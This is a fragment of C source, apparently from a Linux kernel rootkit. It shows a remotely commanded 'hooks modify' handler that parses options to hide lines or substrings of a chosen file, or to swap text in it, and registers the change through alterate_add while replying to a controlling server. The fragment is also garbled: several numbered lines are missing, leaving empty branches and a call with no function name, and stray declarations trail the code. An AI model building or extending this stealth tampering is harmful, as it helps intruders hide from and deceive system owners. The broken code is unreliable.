177 {
178 char *path;
179 int ret = 0;
180 long hide_line = -1;
181 char *hide_substr = NULL;
182 char *replace_src = NULL;
183 char *replace_dst = NULL;
184
185
186 char *token;
187
188
189 path = strsep(&args, " ");
190 if (!path || path[0] != '/') {
191 send_to_server(protocol,
"Usage: hooks modify /full/path [hide_line=N] "
192 "[hide_substr=TXT] [replace=SRC:DST]\n");
193 return -EINVAL;
194 }
195
196 while (args && *args) {
197 token = strsep(&args, " ");
198 if (!token || *token == '\0')
199 continue;
200
201 if (strncmp(token, "hide_line=", 10) == 0) {
202 char *num = token + 10;
203
204 if (*num != '\0')
205 hide_line = simple_strtol(num, NULL, 10);
206 }
207
208 else if (strncmp(token, "hide_substr=", 12) == 0) {
209 char *txt = token + 12;
210 if (*txt == '\0') {
212 ret = -EINVAL;
213 goto cleanup;
214 }
215 hide_substr = kstrdup(txt, GFP_KERNEL);
216 if (!hide_substr) {
217 ret = -ENOMEM;
218 goto cleanup;
219 }
220 }
221
222 else if (strncmp(token, "replace=", 8) == 0) {
223 char *arg = token + 8;
224 char *colon = strchr(arg, ':');
225
226 if (!colon || colon == arg || *(colon + 1) == '\0') {
228 protocol,
229 "Usage: replace=SRC:DST (SRC and/or DST empty, without spaces)\n");
230 ret = -EINVAL;
231 goto cleanup;
232 }
233
234 *colon = '\0';
235 colon++;
236
237 replace_src = kstrdup(arg, GFP_KERNEL);
238 if (!replace_src) {
239 ret = -ENOMEM;
240 goto cleanup;
241 }
242
243 replace_dst = kstrdup(colon, GFP_KERNEL);
244 if (!replace_dst) {
245 ret = -ENOMEM;
246 goto cleanup;
247 }
248 }
249 else {
250 send_to_server(protocol,
"Usage: hooks modify /full/path [hide_line=N] "
251 "[hide_substr=TXT] [replace=SRC:DST]\n");
252 ret = -EINVAL;
253 goto cleanup;
254 }
255 }
256
257
258 DBG_MSG(
"modify_file_handler: path='%s', hide_line=%ld, hide_substr='%s', "
259 "replace_src='%s', replace_dst='%s'\n",
260 path, hide_line, hide_substr ? hide_substr : "NULL",
261 replace_src ? replace_src : "NULL",
262 replace_dst ? replace_dst : "NULL");
263
264 ret =
alterate_add(path, hide_line, hide_substr, replace_src, replace_dst);
265 if (ret >= 0)
267 else
269
270cleanup:
271 kfree(hide_substr);
272 kfree(replace_src);
273 kfree(replace_dst);
274 return ret >= 0 ? 0 : ret;
275}
int alterate_add(const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
#define DBG_MSG(fmt, args...)